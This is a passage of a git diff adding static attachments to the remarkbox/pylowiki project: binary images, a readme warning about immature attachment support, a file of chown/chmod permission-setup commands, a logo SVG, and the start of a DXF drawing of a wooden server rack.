0000000..75e7a2a Binary files /dev/null and b/remarkbox/static/attachment/image.jpg differ diff --git a/remarkbox/static/attachment/isometric-wooden-2-x-2u-server-rack.png b/remarkbox/static/attachment/isometric-wooden-2-x-2u-server-rack.png new file mode 100644 index 0000000..32a0837 Binary files /dev/null and b/remarkbox/static/attachment/isometric-wooden-2-x-2u-server-rack.png differ diff --git a/remarkbox/static/attachment/lancernation.png b/remarkbox/static/attachment/lancernation.png new file mode 100644 index 0000000..181c1d9 Binary files /dev/null and b/remarkbox/static/attachment/lancernation.png differ diff --git a/remarkbox/static/attachment/landscape.jpg b/remarkbox/static/attachment/landscape.jpg new file mode 100644 index 0000000..14eb9a9 Binary files /dev/null and b/remarkbox/static/attachment/landscape.jpg differ diff --git a/remarkbox/static/attachment/logo.gif b/remarkbox/static/attachment/logo.gif new file mode 100644 index 0000000..727d4e6 Binary files /dev/null and b/remarkbox/static/attachment/logo.gif differ diff --git a/remarkbox/static/attachment/logo.png b/remarkbox/static/attachment/logo.png new file mode 100644 index 0000000..cf4b7a4 Binary files /dev/null and b/remarkbox/static/attachment/logo.png differ diff --git a/remarkbox/static/attachment/mario-chili-miners.jpg b/remarkbox/static/attachment/mario-chili-miners.jpg new file mode 100644 index 0000000..a4b6704 Binary files /dev/null and b/remarkbox/static/attachment/mario-chili-miners.jpg differ diff --git a/remarkbox/static/attachment/monaco_linux.ttf b/remarkbox/static/attachment/monaco_linux.ttf new file mode 100644 index 0000000..99a7f96 Binary files /dev/null and b/remarkbox/static/attachment/monaco_linux.ttf differ diff --git a/remarkbox/static/attachment/nt330i-1.jpg b/remarkbox/static/attachment/nt330i-1.jpg new file mode 100644 index 0000000..892337c Binary files /dev/null and b/remarkbox/static/attachment/nt330i-1.jpg differ diff --git a/remarkbox/static/attachment/nt330i-10.jpg b/remarkbox/static/attachment/nt330i-10.jpg new file mode 100644 index 0000000..369be68 Binary files /dev/null and b/remarkbox/static/attachment/nt330i-10.jpg differ diff --git a/remarkbox/static/attachment/nt330i-2.jpg b/remarkbox/static/attachment/nt330i-2.jpg new file mode 100644 index 0000000..51a871c Binary files /dev/null and b/remarkbox/static/attachment/nt330i-2.jpg differ diff --git a/remarkbox/static/attachment/nt330i-3.jpg b/remarkbox/static/attachment/nt330i-3.jpg new file mode 100644 index 0000000..f1726ed Binary files /dev/null and b/remarkbox/static/attachment/nt330i-3.jpg differ diff --git a/remarkbox/static/attachment/nt330i-4.jpg b/remarkbox/static/attachment/nt330i-4.jpg new file mode 100644 index 0000000..46591a2 Binary files /dev/null and b/remarkbox/static/attachment/nt330i-4.jpg differ diff --git a/remarkbox/static/attachment/nt330i-5.jpg b/remarkbox/static/attachment/nt330i-5.jpg new file mode 100644 index 0000000..e1294e4 Binary files /dev/null and b/remarkbox/static/attachment/nt330i-5.jpg differ diff --git a/remarkbox/static/attachment/nt330i-6.jpg b/remarkbox/static/attachment/nt330i-6.jpg new file mode 100644 index 0000000..a4a2106 Binary files /dev/null and b/remarkbox/static/attachment/nt330i-6.jpg differ diff --git a/remarkbox/static/attachment/nt330i-7.jpg b/remarkbox/static/attachment/nt330i-7.jpg new file mode 100644 index 0000000..f0d23f1 Binary files /dev/null and b/remarkbox/static/attachment/nt330i-7.jpg differ diff --git a/remarkbox/static/attachment/nt330i-8.jpg b/remarkbox/static/attachment/nt330i-8.jpg new file mode 100644 index 0000000..b984f33 Binary files /dev/null and b/remarkbox/static/attachment/nt330i-8.jpg differ diff --git a/remarkbox/static/attachment/nt330i-9.jpg b/remarkbox/static/attachment/nt330i-9.jpg new file mode 100644 index 0000000..9be89e2 Binary files /dev/null and b/remarkbox/static/attachment/nt330i-9.jpg differ diff --git a/remarkbox/static/attachment/numbers.png b/remarkbox/static/attachment/numbers.png new file mode 100644 index 0000000..f6a4f2a Binary files /dev/null and b/remarkbox/static/attachment/numbers.png differ diff --git a/remarkbox/static/attachment/postal-receipt.zip b/remarkbox/static/attachment/postal-receipt.zip new file mode 100644 index 0000000..44dd77e Binary files /dev/null and b/remarkbox/static/attachment/postal-receipt.zip differ diff --git a/remarkbox/static/attachment/r8168-8.023.00.tar.bz2 b/remarkbox/static/attachment/r8168-8.023.00.tar.bz2 new file mode 100644 index 0000000..7dd6e29 Binary files /dev/null and b/remarkbox/static/attachment/r8168-8.023.00.tar.bz2 differ diff --git a/remarkbox/static/attachment/readme.rst b/remarkbox/static/attachment/readme.rst new file mode 100644 index 0000000..4d44b53 --- /dev/null +++ b/remarkbox/static/attachment/readme.rst @@ -0,0 +1,6 @@ +WARNING +============= + +Attachments are VERY amature in pylowiki. We need some brain storming and ideas to has out how we would like to save and store attachments and namespaces... + +You have been warned diff --git a/remarkbox/static/attachment/readme.rst.orig b/remarkbox/static/attachment/readme.rst.orig new file mode 100644 index 0000000..4d44b53 --- /dev/null +++ b/remarkbox/static/attachment/readme.rst.orig @@ -0,0 +1,6 @@ +WARNING +============= + +Attachments are VERY amature in pylowiki. We need some brain storming and ideas to has out how we would like to save and store attachments and namespaces... + +You have been warned diff --git a/remarkbox/static/attachment/redledfailure.jpg b/remarkbox/static/attachment/redledfailure.jpg new file mode 100644 index 0000000..82d39a9 Binary files /dev/null and b/remarkbox/static/attachment/redledfailure.jpg differ diff --git a/remarkbox/static/attachment/redledfailure2.jpg b/remarkbox/static/attachment/redledfailure2.jpg new file mode 100644 index 0000000..bf4d06c Binary files /dev/null and b/remarkbox/static/attachment/redledfailure2.jpg differ diff --git a/remarkbox/static/attachment/remarkbox-brown-oj-box-not-toaster.png b/remarkbox/static/attachment/remarkbox-brown-oj-box-not-toaster.png new file mode 100644 index 0000000..9fd733d Binary files /dev/null and b/remarkbox/static/attachment/remarkbox-brown-oj-box-not-toaster.png differ diff --git a/remarkbox/static/attachment/remarkbox-brown-oj-box.png b/remarkbox/static/attachment/remarkbox-brown-oj-box.png new file mode 100644 index 0000000..bd97f93 Binary files /dev/null and b/remarkbox/static/attachment/remarkbox-brown-oj-box.png differ diff --git a/remarkbox/static/attachment/remarkbox-brown.png b/remarkbox/static/attachment/remarkbox-brown.png new file mode 100644 index 0000000..29f533d Binary files /dev/null and b/remarkbox/static/attachment/remarkbox-brown.png differ diff --git a/remarkbox/static/attachment/remarkbox-logo-only-purple.png b/remarkbox/static/attachment/remarkbox-logo-only-purple.png new file mode 100644 index 0000000..415a621 Binary files /dev/null and b/remarkbox/static/attachment/remarkbox-logo-only-purple.png differ diff --git a/remarkbox/static/attachment/remarkbox-logo-only.png b/remarkbox/static/attachment/remarkbox-logo-only.png new file mode 100644 index 0000000..bee2001 Binary files /dev/null and b/remarkbox/static/attachment/remarkbox-logo-only.png differ diff --git a/remarkbox/static/attachment/remarkbox-logo-purple.svg b/remarkbox/static/attachment/remarkbox-logo-purple.svg new file mode 100644 index 0000000..139d68b --- /dev/null +++ b/remarkbox/static/attachment/remarkbox-logo-purple.svg @@ -0,0 +1,131 @@ + + + + + + + + + + image/svg+xml + + + + + + + + + + + + + + + + R Remarkbox + + diff --git a/remarkbox/static/attachment/remarkbox-purple.png b/remarkbox/static/attachment/remarkbox-purple.png new file mode 100644 index 0000000..6e85f2a Binary files /dev/null and b/remarkbox/static/attachment/remarkbox-purple.png differ diff --git a/remarkbox/static/attachment/remarkbox-red.png b/remarkbox/static/attachment/remarkbox-red.png new file mode 100644 index 0000000..8bb7fca Binary files /dev/null and b/remarkbox/static/attachment/remarkbox-red.png differ diff --git a/remarkbox/static/attachment/remarkbox-reder.png b/remarkbox/static/attachment/remarkbox-reder.png new file mode 100644 index 0000000..b9c3e3e Binary files /dev/null and b/remarkbox/static/attachment/remarkbox-reder.png differ diff --git a/remarkbox/static/attachment/remarkbox.png b/remarkbox/static/attachment/remarkbox.png new file mode 100644 index 0000000..562996b Binary files /dev/null and b/remarkbox/static/attachment/remarkbox.png differ diff --git a/remarkbox/static/attachment/remarkbox_logo.png b/remarkbox/static/attachment/remarkbox_logo.png new file mode 100644 index 0000000..43fbb29 Binary files /dev/null and b/remarkbox/static/attachment/remarkbox_logo.png differ diff --git a/remarkbox/static/attachment/remarkbox_logo_4c_mirrored.png b/remarkbox/static/attachment/remarkbox_logo_4c_mirrored.png new file mode 100644 index 0000000..bbf2129 Binary files /dev/null and b/remarkbox/static/attachment/remarkbox_logo_4c_mirrored.png differ diff --git a/remarkbox/static/attachment/revisions.png b/remarkbox/static/attachment/revisions.png new file mode 100644 index 0000000..e80b87c Binary files /dev/null and b/remarkbox/static/attachment/revisions.png differ diff --git a/remarkbox/static/attachment/section-edit.png b/remarkbox/static/attachment/section-edit.png new file mode 100644 index 0000000..0fdb144 Binary files /dev/null and b/remarkbox/static/attachment/section-edit.png differ diff --git a/remarkbox/static/attachment/t231.jpg b/remarkbox/static/attachment/t231.jpg new file mode 100644 index 0000000..2277f28 Binary files /dev/null and b/remarkbox/static/attachment/t231.jpg differ diff --git a/remarkbox/static/attachment/t232.jpg b/remarkbox/static/attachment/t232.jpg new file mode 100644 index 0000000..db05cd6 Binary files /dev/null and b/remarkbox/static/attachment/t232.jpg differ diff --git a/remarkbox/static/attachment/t233.jpg b/remarkbox/static/attachment/t233.jpg new file mode 100644 index 0000000..f87f3f0 Binary files /dev/null and b/remarkbox/static/attachment/t233.jpg differ diff --git a/remarkbox/static/attachment/temp.rst b/remarkbox/static/attachment/temp.rst new file mode 100644 index 0000000..bae2cd9 --- /dev/null +++ b/remarkbox/static/attachment/temp.rst @@ -0,0 +1,13 @@ +Do the following commands from the root pylowiki project directory:: + + sudo chown -R www-data:www-data pylowiki/public/attachment + sudo chmod -R 744 pylowiki/public/attachment + + sudo chown -R www-data:www-data egg-cache + sudo chmod -R 744 egg-cache + + sudo chown -R www-data:www-data data + sudo chmod -R 744 data + + + diff --git a/remarkbox/static/attachment/water-lilies.jpg b/remarkbox/static/attachment/water-lilies.jpg new file mode 100644 index 0000000..63cd86b Binary files /dev/null and b/remarkbox/static/attachment/water-lilies.jpg differ diff --git a/remarkbox/static/attachment/winter.jpg b/remarkbox/static/attachment/winter.jpg new file mode 100644 index 0000000..6db32ca Binary files /dev/null and b/remarkbox/static/attachment/winter.jpg differ diff --git a/remarkbox/static/attachment/wooden-server-rack-2.dxf b/remarkbox/static/attachment/wooden-server-rack-2.dxf new file mode 100644 index 0000000..e19070d --- /dev/null +++ b/remarkbox/static/attachment/wooden-server-rack-2.dxf @@ -0,0 +1,5988 @@ +999 +dxfrw 0.5.10 +0 +SECTION +2 +HEADER +9 +$ACADVER +1 +AC1021 +9 +$HANDSEED +5 +20000 +9 +$DWGCODEPAGE +3 +ANSI_1252 +9 +$INSBASE +10 +0 +20 +0 +30 +0 +9 +$EXTMIN +10 +-2.625 +20 +-3 +30 +0 +9 +$EXTMAX +10 +56.25 +20 +54.6249999223 +30 +0 +9 +$LIMMIN +10 +0 +20 +0 +9 +$LIMMAX +10 +420 +20 +297 +9 +$ORTHOMODE +70 +0 +9 +$LTSCALE +40 +1 +9 +$TEXTSTYLE +7 +STANDARD +9 +$CLAYER +8 +text +9 +$DIMASZ +40 +1 +9 +$DIMLFAC +40 +1 +9 +$DIMSCALE +40 +1 +9 +$DIMEXO +40 +0.625 +9 +$DIMEXE +40 +1.25 +9 +$DIMTXT +40 +1 +9 +$DIMTSZ +40 +0 +9 +$DIMAUNIT +70 +0 +9 +$DIMADEC +70 +2 +9 +$DIMLUNIT +70 +2 +9 +$DIMSTYLE +2 +STANDARD +9 +$DIMGAP +40 +0.625 +9 +$DIMTIH +70 +0 +9 +$LUNITS +70 +2 +9 +$LUPREC +70 +4 +9 +$AUNITS +70 +0 +9 +$AUPREC +70 +2 +9 +$SPLINESEGS +70 +8 +9 +$GRIDMODE +70 +1 +9 +$SNAPSTYLE +70 +0 +9 +$GRIDUNIT +10 +0 +20 +0 +9 +$PINSBASE +10 +0 +20 +0 +30 +0 +9 +$PLIMMIN +10 +0 +20 +0 +9 +$PLIMMAX +10 +210 +20 +297 +9 +$INSUNITS +70 +4 +9 +$PSVPSCALE +40 +1 +0 +ENDSEC +0 +SECTION +2 +CLASSES +0 +ENDSEC +0 +SECTION +2 +TABLES +0 +TABLE +2 +VPORT +5 +8 +330 +0 +100 +AcDbSymbolTable +70 +1 +0 +VPORT +5 +31 +330 +2 +100 +AcDbSymbolTableRecord +100 +AcDbViewportTableRecord +2 +*ACTIVE +70 +0 +10 +0 +20 +0 +11 +1 +21 +1 +12 +26.9746176001 +22 +21.8103808 +13 +0 +23 +0 +14 +10 +24 +10 +15 +10 +25 +10 +16 +0 +26 +0 +36 +1 +17 +0 +27 +0 +37 +0 +40 +33.4495744001 +41 +1.88087774295 +42 +50 +43 +0 +44 +0 +50 +0 +51 +0 +71 +0 +72 +100 +73 +1 +74 +3 +75 +0 +76 +1 +77 +0 +78 +0 +281 +0 +65 +1 +110 +0 +120 +0 +130 +0 +111 +1 +121 +0 +131 +0 +112 +0 +122 +1 +132 +0 +79 +0 +146 +0 +348 +10020 +60 +7 +61 +5 +292 +1 +282 +1 +141 +0 +142 +0 +63 +250 +421 +3358443 +0 +ENDTAB +0 +TABLE +2 +LTYPE +5 +5 +330 +0 +100 +AcDbSymbolTable +70 +4 +0 +LTYPE +5 +14 +330 +5 +100 +AcDbSymbolTableRecord +100 +AcDbLinetypeTableRecord +2 +ByBlock +70 +0 +3 + +72 +65 +73 +0 +40 +0 +0 +LTYPE +5 +15 +330 +5 +100 +AcDbSymbolTableRecord +100 +AcDbLinetypeTableRecord +2 +ByLayer +70 +0 +3 + +72 +65 +73 +0 +40 +0 +0 +LTYPE +5 +16 +330 +5 +100 +AcDbSymbolTableRecord +100 +AcDbLinetypeTableRecord +2 +Continuous +70 +0 +3 +Solid line +72 +65 +73 +0 +40 +0 +0 +LTYPE +5 +32 +330 +5 +100 +AcDbSymbolTableRecord +100 +AcDbLinetypeTableRecord +2 +DOT +70 +0 +3 +Dot . . . . . . . . . . . . . . . . . . . . . . +72 +65 +73 +2 +40 +6.35 +49 +0 +74 +0 +49 +-6.35 +74 +0 +0 +LTYPE +5 +33 +330 +5 +100 +AcDbSymbolTableRecord +100 +AcDbLinetypeTableRecord +2 +DOT2 +70 +0 +3 +Dot (.5x) ..................................... +72 +65 +73 +2 +40 +3.175 +49 +0 +74 +0 +49 +-3.175 +74 +0 +0 +LTYPE +5 +34 +330 +5 +100 +AcDbSymbolTableRecord +100 +AcDbLinetypeTableRecord +2 +DOTX2 +70 +0 +3 +Dot (2x) . . . . . . . . . . . . . +72 +65 +73 +2 +40 +12.7 +49 +0 +74 +0 +49 +-12.7 +74 +0 +0 +LTYPE +5 +35 +330 +5 +100 +AcDbSymbolTableRecord +100 +AcDbLinetypeTableRecord +2 +DASHED +70 +0 +3 +Dot . . . . . . . . . . . . . . . . . . . . . . +72 +65 +73 +2 +40 +19.05 +49 +12.7 +74 +0 +49 +-6.35 +74 +0 +0 +LTYPE +5 +36 +330 +5 +100 +AcDbSymbolTableRecord +100 +AcDbLinetypeTableRecord +2 +DASHED2 +70 +0 +3 +Dashed (.5x) _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ +72 +65 +73 +2 +40 +9.525 +49 +6.35 +74 +0 +49 +-3.175 +74 +0 +0 +LTYPE +5 +37 +330 +5 +100 +AcDbSymbolTableRecord +100 +AcDbLinetypeTableRecord +2 +DASHEDX2 +70 +0 +3 +Dashed (2x) ____ ____ ____ ____ ____ ___ +72 +65 +73 +2 +40 +38.1 +49 +25.4 +74 +0 +49 +-12.7 +74 +0 +0 +LTYPE +5 +38 +330 +5 +100 +AcDbSymbolTableRecord +100 +AcDbLinetypeTableRecord +2 +DASHDOT +70 +0 +3 +Dash dot __ . __ . __ . __ . __ . __ . __ . __ +72 +65 +73 +4 +40 +25.4 +49 +12.7 +74 +0 +49 +-6.35 +74 +0 +49 +0 +74 +0 +49 +-6.35 +74 +0 +0 +LTYPE +5 +39 +330 +5 +100 +AcDbSymbolTableRecord +100 +AcDbLinetypeTableRecord +2 +DASHDOT2 +70 +0 +3 +Dash dot (.5x) _._._._._._._._._._._._._._._. +72 +65 +73 +4 +40 +12.7 +49 +6.35 +74 +0 +49 +-3.175 +74 +0 +49 +0 +74 +0 +49 +-3.175 +74 +0 +0 +LTYPE +5 +3A +330 +5 +100 +AcDbSymbolTableRecord +100 +AcDbLinetypeTableRecord +2 +DASHDOTX2 +70 +0 +3 +Dash dot (2x) ____ . ____ . ____ . ___ +72 +65 +73 +4 +40 +50.8 +49 +25.4 +74 +0 +49 +-12.7 +74 +0 +49 +0 +74 +0 +49 +-12.7 +74 +0 +0 +LTYPE +5 +3B +330 +5 +100 +AcDbSymbolTableRecord +100 +AcDbLinetypeTableRecord +2 +DIVIDE +70 +0 +3 +Divide ____ . . ____ . . ____ . . ____ . . ____ +72 +65 +73 +6 +40 +31.75 +49 +12.7 +74 +0 +49 +-6.35 +74 +0 +49 +0 +74 +0 +49 +-6.35 +74 +0 +49 +0 +74 +0 +49 +-6.35 +74 +0 +0 +LTYPE +5 +3C +330 +5 +100 +AcDbSymbolTableRecord +100 +AcDbLinetypeTableRecord +2 +DIVIDE2 +70 +0 +3 +Divide (.5x) __..__..__..__..__..__..__..__.._ +72 +65 +73 +6 +40 +15.875 +49 +6.35 +74 +0 +49 +-3.175 +74 +0 +49 +0 +74 +0 +49 +-3.175 +74 +0 +49 +0 +74 +0 +49 +-3.175 +74 +0 +0 +LTYPE +5 +3D +330 +5 +100 +AcDbSymbolTableRecord +100 +AcDbLinetypeTableRecord +2 +DIVIDEX2 +70 +0 +3 +Divide (2x) ________ . . ________ . . _ +72 +65 +73 +6 +40 +63.5 +49 +25.4 +74 +0 +49 +-12.7 +74 +0 +49 +0 +74 +0 +49 +-12.7 +74 +0 +49 +0 +74 +0 +49 +-12.7 +74 +0 +0 +LTYPE +5 +3E +330 +5 +100 +AcDbSymbolTableRecord +100 +AcDbLinetypeTableRecord +2 +BORDER +70 +0 +3 +Border __ __ . __ __ . __ __ . __ __ . __ __ . +72 +65 +73 +6 +40 +44.45 +49 +12.7 +74 +0 +49 +-6.35 +74 +0 +49 +12.7 +74 +0 +49 +-6.35 +74 +0 +49 +0 +74 +0 +49 +-6.35 +74 +0 +0 +LTYPE +5 +3F +330 +5 +100 +AcDbSymbolTableRecord +100 +AcDbLinetypeTableRecord +2 +BORDER2 +70 +0 +3 +Border (.5x) __.__.__.__.__.__.__.__.__.__.__. +72 +65 +73 +6 +40 +22.225 +49 +6.35 +74 +0 +49 +-3.175 +74 +0 +49 +6.35 +74 +0 +49 +-3.175 +74 +0 +49 +0 +74 +0 +49 +-3.175 +74 +0 +0 +LTYPE +5 +40 +330 +5 +100 +AcDbSymbolTableRecord +100 +AcDbLinetypeTableRecord +2 +BORDERX2 +70 +0 +3 +Border (2x) ____ ____ . ____ ____ . ___ +72 +65 +73 +6 +40 +88.9 +49 +25.4 +74 +0 +49 +-12.7 +74 +0 +49 +25.4 +74 +0 +49 +-12.7 +74 +0 +49 +0 +74 +0 +49 +-12.7 +74 +0 +0 +LTYPE +5 +41 +330 +5 +100 +AcDbSymbolTableRecord +100 +AcDbLinetypeTableRecord +2 +CENTER +70 +0 +3 +Center ____ _ ____ _ ____ _ ____ _ ____ _ ____ +72 +65 +73 +4 +40 +50.8 +49 +31.75 +74 +0 +49 +-6.35 +74 +0 +49 +6.35 +74 +0 +49 +-6.35 +74 +0 +0 +LTYPE +5 +42 +330 +5 +100 +AcDbSymbolTableRecord +100 +AcDbLinetypeTableRecord +2 +CENTER2 +70 +0 +3 +Center (.5x) ___ _ ___ _ ___ _ ___ _ ___ _ ___ +72 +65 +73 +4 +40 +28.575 +49 +19.05 +74 +0 +49 +-3.175 +74 +0 +49 +3.175 +74 +0 +49 +-3.175 +74 +0 +0 +LTYPE +5 +43 +330 +5 +100 +AcDbSymbolTableRecord +100 +AcDbLinetypeTableRecord +2 +CENTERX2 +70 +0 +3 +Center (2x) ________ __ ________ __ _____ +72 +65 +73 +4 +40 +101.6 +49 +63.5 +74 +0 +49 +-12.7 +74 +0 +49 +12.7 +74 +0 +49 +-12.7 +74 +0 +0 +ENDTAB +0 +TABLE +2 +LAYER +5 +2 +330 +0 +100 +AcDbSymbolTable +70 +1 +0 +LAYER +5 +10 +330 +2 +100 +AcDbSymbolTableRecord +100 +AcDbLayerTableRecord +2 +0 +70 +0 +62 +7 +6 +CONTINUOUS +370 +0 +390 +F +0 +LAYER +5 +44 +330 +2 +100 +AcDbSymbolTableRecord +100 +AcDbLayerTableRecord +2 +hatch +70 +0 +62 +7 +6 +CONTINUOUS +370 +0 +390 +F +0 +LAYER +5 +45 +330 +2 +100 +AcDbSymbolTableRecord +100 +AcDbLayerTableRecord +2 +text +70 +0 +62 +253 +420 +10526884 +6 +CONTINUOUS +370 +0 +390 +F +0 +LAYER +5 +46 +330 +2 +100 +AcDbSymbolTableRecord +100 +AcDbLayerTableRecord +2 +dimensions +70 +0 +62 +1 +6 +CONTINUOUS +370 +0 +390 +F +0 +ENDTAB +0 +TABLE +2 +STYLE +5 +3 +330 +0 +100 +AcDbSymbolTable +70 +3 +0 +STYLE +5 +47 +330 +2 +100 +AcDbSymbolTableRecord +100 +AcDbTextStyleTableRecord +2 +Standard +70 +0 +40 +0 +41 +1 +50 +0 +71 +0 +42 +1 +3 +txt +4 + +0 +ENDTAB +0 +TABLE +2 +VIEW +5 +6 +330 +0 +100 +AcDbSymbolTable +70 +0 +0 +ENDTAB +0 +TABLE +2 +UCS +5 +7 +330 +0 +100 +AcDbSymbolTable +70 +0 +0 +ENDTAB +0 +TABLE +2 +APPID +5 +9 +330 +0 +100 +AcDbSymbolTable +70 +1 +0 +APPID +5 +12 +330 +9 +100 +AcDbSymbolTableRecord +100 +AcDbRegAppTableRecord +2 +ACAD +70 +0 +0 +ENDTAB +0 +TABLE +2 +DIMSTYLE +5 +A +330 +0 +100 +AcDbSymbolTable +70 +1 +100 +AcDbDimStyleTable +71 +1 +0 +DIMSTYLE +105 +48 +330 +A +100 +AcDbSymbolTableRecord +100 +AcDbDimStyleTableRecord +2 +Standard +70 +0 +40 +1 +41 +1 +42 +0.625 +43 +0.38 +44 +1.25 +45 +0 +46 +0 +47 +0 +48 +0 +140 +1 +141 +0.09 +142 +0 +143 +25.4 +144 +1 +145 +0 +146 +1 +147 +0.625 +148 +0 +71 +0 +72 +0 +73 +0 +74 +1 +75 +0 +76 +0 +77 +0 +78 +0 +79 +0 +170 +0 +171 +2 +172 +0 +173 +0 +174 +0 +175 +0 +176 +0 +177 +0 +178 +0 +179 +0 +271 +4 +272 +4 +273 +2 +274 +2 +275 +0 +276 +0 +277 +2 +278 +46 +279 +0 +280 +0 +281 +0 +282 +0 +283 +1 +284 +0 +285 +0 +286 +0 +288 +0 +289 +3 +340 +Standard +341 + +371 +-2 +372 +-2 +0 +ENDTAB +0 +TABLE +2 +BLOCK_RECORD +5 +1 +330 +0 +100 +AcDbSymbolTable +70 +2 +0 +BLOCK_RECORD +5 +1F +330 +1 +100 +AcDbSymbolTableRecord +100 +AcDbBlockTableRecord +2 +*Model_Space +70 +0 +280 +1 +281 +0 +0 +BLOCK_RECORD +5 +1E +330 +1 +100 +AcDbSymbolTableRecord +100 +AcDbBlockTableRecord +2 +*Paper_Space +70 +0 +280 +1 +281 +0 +0 +BLOCK_RECORD +5 +49 +330 +1 +100 +AcDbSymbolTableRecord +100 +AcDbBlockTableRecord +2 +*D2 +70 +0 +280 +1 +281 +0 +0 +BLOCK_RECORD +5 +4C +330 +1 +100 +AcDbSymbolTableRecord +100 +AcDbBlockTableRecord +2 +*D6 +70 +0 +280 +1 +281 +0 +0 +BLOCK_RECORD +5 +4F +330 +1 +100 +AcDbSymbolTableRecord +100 +AcDbBlockTableRecord +2 +*D4 +70 +0 +280 +1 +281 +0 +0 +BLOCK_RECORD +5 +52 +330 +1 +100 +AcDbSymbolTableRecord +100 +AcDbBlockTableRecord +2 +*D3 +70 +0 +280 +1 +281 +0 +0 +BLOCK_RECORD +5 +55 +330 +1 +100 +AcDbSymbolTableRecord +100 +AcDbBlockTableRecord +2 +*D1 +70 +0 +280 +1 +281 +0 +0 +BLOCK_RECORD +5 +58 +330 +1 +100 +AcDbSymbolTableRecord +100 +AcDbBlockTableRecord +2 +*D8 +70 +0 +280 +1 +281 +0 +0 +BLOCK_RECORD +5 +5B +330 +1 +100 +AcDbSymbolTableRecord +100 +AcDbBlockTableRecord +2 +*D9 +70 +0 +280 +1 +281 +0 +0 +BLOCK_RECORD +5 +5E +330 +1 +100 +AcDbSymbolTableRecord +100 +AcDbBlockTableRecord +2 +*D5 +70 +0 +280 +1 +281 +0 +0 +BLOCK_RECORD +5 +61 +330 +1 +100 +AcDbSymbolTableRecord +100 +AcDbBlockTableRecord +2 +*D7 +70 +0 +280 +1 +281 +0 +0 +ENDTAB +0 +ENDSEC +0 +SECTION +2 +BLOCKS +0 +BLOCK +5 +20 +330 +1F +100 +AcDbEntity +8 +0 +100 +AcDbBlockBegin +2 +*Model_Space +70 +0 +10 +0 +20 +0 +30 +0 +3 +*Model_Space +1 + +0 +ENDBLK +5 +21 +330 +1F +100 +AcDbEntity +8 +0 +100 +AcDbBlockEnd +0 +BLOCK +5 +1C +330 +1B +100 +AcDbEntity +8 +0 +100 +AcDbBlockBegin +2 +*Paper_Space +70 +0 +10 +0 +20 +0 +30 +0 +3 +*Paper_Space +1 + +0 +ENDBLK +5 +1D +330 +1F +100 +AcDbEntity +8 +0 +100 +AcDbBlockEnd +0 +BLOCK +5 +4A +330 +49 +100 +AcDbEntity +8 +0 +100 +AcDbBlockBegin +2 +*D2 +70 +1 +10 +0 +20 +0 +3 +*D2 +1 + +0 +LINE +5 +64 +100 +AcDbEntity +8 +dimensions +6 +CONTINUOUS +62 +7 +370 +0 +100 +AcDbLine +10 +21.125 +20 +11.5 +11 +26.25 +21 +11.5 +0 +LINE +5 +65 +100 +AcDbEntity +8 +dimensions +6 +CONTINUOUS +62 +7 +370 +0 +100 +AcDbLine +10 +21.125 +20 +8 +11 +26.25 +21 +8 +0 +LINE +5 +66 +100 +AcDbEntity +8 +dimensions +6 +CONTINUOUS +62 +7 +370 +0 +100 +AcDbLine +10 +25 +20 +11.5 +11 +25 +21 +8 +0 +SOLID +5 +67 +100 +AcDbEntity +8 +dimensions +6 +CONTINUOUS +62 +7 +370 +0 +100 +AcDbTrace +10 +25 +20 +11.5 +30 +0 +11 +25.1665138631 +21 +10.5 +31 +0 +12 +24.8334861369 +22 +10.5 +32 +0 +13 +24.8334861369 +23 +10.5 +33 +0 +0 +SOLID +5 +68 +100 +AcDbEntity +8 +dimensions +6 +CONTINUOUS +62 +7 +370 +0 +100 +AcDbTrace +10 +25 +20 +8 +30 +0 +11 +24.8334861369 +21 +9 +31 +0 +12 +25.1665138631 +22 +9 +32 +0 +13 +25.1665138631 +23 +9 +33 +0 +0 +MTEXT +5 +69 +100 +AcDbEntity +8 +dimensions +6 +CONTINUOUS +62 +7 +370 +0 +100 +AcDbMText +10 +23.875 +20 +9.75 +30 +0 +40 +1 +41 +1.55555555556 +71 +5 +72 +1 +1 +3.5 +7 +standard +210 +0 +220 +0 +230 +1 +50 +90 +73 +2 +44 +1 +0 +ENDBLK +5 +4B +330 +49 +100 +AcDbEntity +8 +0 +100 +AcDbBlockEnd +0 +BLOCK +5 +4D +330 +4C +100 +AcDbEntity +8 +0 +100 +AcDbBlockBegin +2 +*D6 +70 +1 +10 +0 +20 +0 +3 +*D6 +1 + +0 +LINE +5 +6A +100 +AcDbEntity +8 +dimensions +6 +CONTINUOUS +62 +7 +370 +0 +100 +AcDbLine +10 +22.625 +20 +52 +11 +25.25 +21 +52 +0 +LINE +5 +6B +100 +AcDbEntity +8 +dimensions +6 +CONTINUOUS +62 +7 +370 +0 +100 +AcDbLine +10 +22.625 +20 +30 +11 +25.25 +21 +30 +0 +LINE +5 +6C +100 +AcDbEntity +8 +dimensions +6 +CONTINUOUS +62 +7 +370 +0 +100 +AcDbLine +10 +24 +20 +52 +11 +24 +21 +30 +0 +SOLID +5 +6D +100 +AcDbEntity +8 +dimensions +6 +CONTINUOUS +62 +7 +370 +0 +100 +AcDbTrace +10 +24 +20 +52 +30 +0 +11 +24.1665138631 +21 +51 +31 +0 +12 +23.8334861369 +22 +51 +32 +0 +13 +23.8334861369 +23 +51 +33 +0 +0 +SOLID +5 +6E +100 +AcDbEntity +8 +dimensions +6 +CONTINUOUS +62 +7 +370 +0 +100 +AcDbTrace +10 +24 +20 +30 +30 +0 +11 +23.8334861369 +21 +31 +31 +0 +12 +24.1665138631 +22 +31 +32 +0 +13 +24.1665138631 +23 +31 +33 +0 +0 +MTEXT +5 +6F +100 +AcDbEntity +8 +dimensions +6 +CONTINUOUS +62 +7 +370 +0 +100 +AcDbMText +10 +22.875 +20 +41 +30 +0 +40 +1 +41 +1.22222222222 +71 +5 +72 +1 +1 +22 +7 +standard +210 +0 +220 +0 +230 +1 +50 +90 +73 +2 +44 +1 +0 +ENDBLK +5 +4E +330 +4C +100 +AcDbEntity +8 +0 +100 +AcDbBlockEnd +0 +BLOCK +5 +50 +330 +4F +100 +AcDbEntity +8 +0 +100 +AcDbBlockBegin +2 +*D4 +70 +1 +10 +0 +20 +0 +3 +*D4 +1 + +0 +LINE +5 +70 +100 +AcDbEntity +8 +dimensions +6 +CONTINUOUS +62 +7 +370 +0 +100 +AcDbLine +10 +52.625 +20 +20 +11 +56.25 +21 +20 +0 +LINE +5 +71 +100 +AcDbEntity +8 +dimensions +6 +CONTINUOUS +62 +7 +370 +0 +100 +AcDbLine +10 +52.625 +20 +-1.53080849893e-16 +11 +56.25 +21 +-1.04094977928e-15 +0 +LINE +5 +72 +100 +AcDbEntity +8 +dimensions +6 +CONTINUOUS +62 